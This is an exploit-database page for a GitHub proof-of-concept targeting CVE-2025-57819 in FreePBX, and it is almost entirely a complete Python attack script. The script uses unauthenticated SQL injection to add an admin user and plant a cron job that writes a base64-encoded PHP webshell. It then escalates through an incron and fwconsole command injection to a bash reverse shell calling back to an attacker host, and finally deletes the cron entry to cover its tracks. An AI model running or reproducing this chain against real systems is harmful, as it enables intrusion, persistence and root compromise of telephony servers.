Exploit database

GH-a8f22a12bb5a0707dba5babcb29e883d

hexbytee/freepbx-sqli-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-57819

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
hexbytee/freepbx-sqli-rceRevision 46b2c272768b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

JTR-CVE-2025-57819.py

Python · 11,128 bytes
#!/usr/bin/env python3
"""
FreePBX CVE-2025-57819 - Unauthenticated SQLi to RCE PoC

VULNERABILITY DETAILS:
  CVE: CVE-2025-57819
  Type: Unauthenticated SQL Injection (Error-based)
  Affected: FreePBX 15 < 15.0.66, FreePBX 16 < 16.0.89, FreePBX 17 < 17.0.3
  CVSS: 9.8 / 10.0 (Critical)

EXPLOITATION CHAIN:
  1. SQLi in /admin/ajax.php (brand parameter) → Create admin user
  2. Authenticated access → Inject cron job → Webshell deployment
  3. Incron escalation → sysadmin_manager → fwconsole hook → Command injection
  4. Root shell via reverse connection (if incron available)

WHAT IT ABUSES:
  - No input validation on 'brand' parameter (endpoint module)
  - Writable asterisk.cron_jobs table via stacked queries
  - Incron watching /var/spool/asterisk/incron/ as root (optional escalation)
  - Unvalidated fwconsole hook execution with command injection

NOTE:
  If incron is not available on target, script will spawn low privilege asterisk user shell.
  Root escalation is conditional on incron/sysadmin_manager availability.

Author: JazzTheRabbit
GitHub: https://github.com/JazzTheRabbit
"""
import requests
import sys
import time
import base64
import json
import zlib
import random
import string
from urllib.parse import quote

requests.packages.urllib3.disable_warnings()

# Colors for status indicators
GREEN = "\033[92m"
RED = "\033[91m"
BLUE = "\033[94m"
RESET = "\033[0m"

class FreePBXExploit:
    def __init__(self, target, lhost, lport):
        self.target = target
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False
        
    def log_info(self, msg):
        print(f"{BLUE}[i]{RESET} {msg}")
    
    def log_success(self, msg):
        print(f"{GREEN}[+]{RESET} {msg}")
    
    def log_error(self, msg):
        print(f"{RED}[-]{RESET} {msg}")
    
    def generate_credentials(self):
        """Generate random username and password"""
        username = "pbx_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        password = ''.join(random.choices(string.ascii_letters + string.digits + "!@#$", k=12))
        return username, password
    
    def create_user(self, username, password):
        """Insert admin user into asterisk.ampusers table via SQLi"""
        self.log_info("Creating admin account via SQLi")
        self.log_info("  Injection: /admin/ajax.php?brand=<payload>")
        self.log_info("  Module: FreePBX\\modules\\endpoint\\ajax")
        self.log_info("  Table: asterisk.ampusers")
        
        import hashlib
        password_hash = hashlib.md5(password.encode()).hexdigest()
        
        sql = (
            f"INSERT INTO ampusers (username, password_hash, admin) "
            f"VALUES ('{username}', '{password_hash}', 1)"
        )
        
        if self.query(sql):
            self.log_success(f"Account created - {username}:{password}")
            return True
        return False
    
    def login(self, username, password):
        """Authenticate with created credentials to obtain admin session"""
        self.log_info(f"Authenticating as {username}")
        
        try:
            login_url = f"https://{self.target}/admin/config.php"
            login_data = {
                "username": username,
                "password": password
            }
            
            r = self.session.post(login_url, data=login_data, allow_redirects=True, timeout=10)
            
            if "logout" in r.text.lower() or "dashboard" in r.text.lower():
                self.log_success("Authentication successful")
                return True
            else:
                self.log_error("Authentication failed")
                return False
        except Exception as e:
            self.log_error(f"Login error: {str(e)}")
            return False
    
    def inject(self, payload):
        """Execute SQLi payload via XPATH error extraction"""
        url = f"https://{self.target}/admin/ajax.php"
        params = {
            "module": "FreePBX\\modules\\endpoint\\ajax",
            "command": "model",
            "template": "x",
            "model": "model",
            "brand": payload
        }
        try:
            r = self.session.get(url, params=params, timeout=10)
            data = r.json()
            msg = data.get("error", {}).get("message", "")
            
            if "XPATH syntax error:" in msg:
                start = msg.find("'~") + 2
                end = msg.find("~'", start)
                return msg[start:end]
        except:
            pass
        return None
    
    def query(self, sql):
        """Execute stacked query - abuses lack of input validation in brand parameter"""
        payload = f"x'; {sql}-- -"
        try:
            r = self.session.get(
                f"https://{self.target}/admin/ajax.php",
                params={
                    "module": "FreePBX\\modules\\endpoint\\ajax",
                    "command": "model",
                    "template": "x",
                    "model": "model",
                    "brand": payload
                },
                timeout=10
            )
            return "Whoops" in r.text or "array offset" in r.text
        except:
            return False
    
    def shell(self, cmd):
        """Execute command via webshell (as asterisk user)"""
        url = f"https://{self.target}/shell.php"
        try:
            r = self.session.get(url, params={"cmd": cmd}, timeout=10)
            if r.status_code == 200:
                return r.text.strip()
        except:
            pass
        return None
    
    def verify_sqli(self):
        """Verify unauthenticated SQL injection in /admin/ajax.php (CVE-2025-57819)"""
        self.log_info("Verifying SQLi vulnerability")
        self.log_info("  Endpoint: /admin/ajax.php")
        self.log_info("  Parameter: brand (error-based SQLi)")
        self.log_info("  Module: FreePBX\\modules\\endpoint\\ajax")
        
        result = self.inject("x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -")
        if result:
            self.log_success(f"SQLi confirmed - Database Name: {result}")
            return True
        return False
    
    def inject_cron(self):
        """Insert webshell command into asterisk.cron_jobs table via stacked SQLi"""
        self.log_info("Injecting cron job through FreePBX cron_job table")
        self.log_info("  Method: Stacked SQLi via brand parameter")
        self.log_info("  Table: asterisk.cron_jobs")
        self.log_info("  Execution: FreePBX fwconsole cron runner (asterisk user)")
        
        webshell_b64 = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg=="
        cmd = f"echo {webshell_b64}|base64 -d >/var/www/html/shell.php"
        
        sql = (
            f"INSERT INTO cron_jobs "
            f"(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) "
            f"VALUES ('sysadmin','wx','{cmd}',NULL,'* * * * *',30,1,1)"
        )
        
        if self.query(sql):
            self.log_success("Cron job inserted")
            return True
        return False
    
    def wait_shell(self, timeout=90):
        """Poll for webshell activation via HTTP until cron job executes"""
        self.log_info("Waiting for webshell activation")
        self.log_info("  Location: /var/www/html/shell.php")
        self.log_info("  Dropped by: cron_jobs table command (asterisk runner)")
        
        start = time.time()
        while time.time() - start < timeout:
            out = self.shell("id")
            if out and "uid=" in out:
                self.log_success(f"Webshell active - {out}")
                return True
            time.sleep(5)
        
        return False
    
    def encode_payload(self, cmd):
        """Encode command for fwconsole-commands hook (JSON → gzip → base64)"""
        data = json.dumps([cmd, "txn"]).encode()
        comp = zlib.compress(data)
        enc = base64.b64encode(comp).decode().replace("/", "_")
        return enc
    
    def trigger_root(self):
        """Escalate privileges via incron + sysadmin_manager + fwconsole hook chain"""
        self.log_info("Attempting root escalation via incron job")
        self.log_info("  Trigger: /var/spool/asterisk/incron/ (incron watches)")
        self.log_info("  Handler: /usr/bin/sysadmin_manager (runs as root)")
        self.log_info("  Hook chain: sysadmin_manager -> fwconsole-commands hook")
        self.log_info("  Execution: /usr/sbin/fwconsole (command injection)")
        self.log_info("Triggering privilege escalation via incron")
        
        cmd = f"help; bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"
        payload = self.encode_payload(cmd)
        trigger = f"/var/spool/asterisk/incron/api.fwconsole-commands.{payload}"
        
        self.shell(f"touch '{trigger}'")
        self.log_success("Incron trigger created - root shell incoming")
    
    def cleanup_cron(self):
        """Remove cron job to hide tracks"""
        sql = "DELETE FROM cron_jobs WHERE jobname='wx'"
        return self.query(sql)
    
    def spawn_asterisk_shell(self):
        """Fallback: Spawn reverse shell as asterisk user if incron privesc unavailable"""
        self.log_info("Spawning reverse shell as asterisk user")
        cmd = f"bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"
        self.shell(cmd)
    
    def exploit(self):
        """Execute full exploitation chain"""
        print()
        self.log_info("FreePBX CVE-2025-57819 SQLi - by JazzTheRabbit")
        print()
        
        if not self.verify_sqli():
            self.log_error("SQLi verification failed")
            return False
        
        username, password = self.generate_credentials()
        if not self.create_user(username, password):
            self.log_error("Failed to create admin user")
            return False
        
        if not self.login(username, password):
            self.log_error("Failed to authenticate")
            return False
        
        if not self.inject_cron():
            self.log_error("Failed to inject cron job")
            return False
        
        if not self.wait_shell():
            self.log_error("Webshell did not activate")
            return False
        
        self.log_info("Attempting root escalation via incron")
        self.trigger_root()
        
        self.log_info("Cleaning up")
        if self.cleanup_cron():
            self.log_success("Cron job removed")
        
        print()
        self.log_info("Waiting for root shell (60s timeout)...")
        time.sleep(60)
        
        print()
        self.log_info("Incron not available or timed out - spawning asterisk user shell")
        self.spawn_asterisk_shell()
        print()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"usage: {sys.argv[0]} <target> <lhost> <lport>")
        print(f"example: {sys.argv[0]} 192.168.1.100 10.10.14.231 9955")
        sys.exit(1)
    
    exploit = FreePBXExploit(sys.argv[1], sys.argv[2], sys.argv[3])
    exploit.exploit()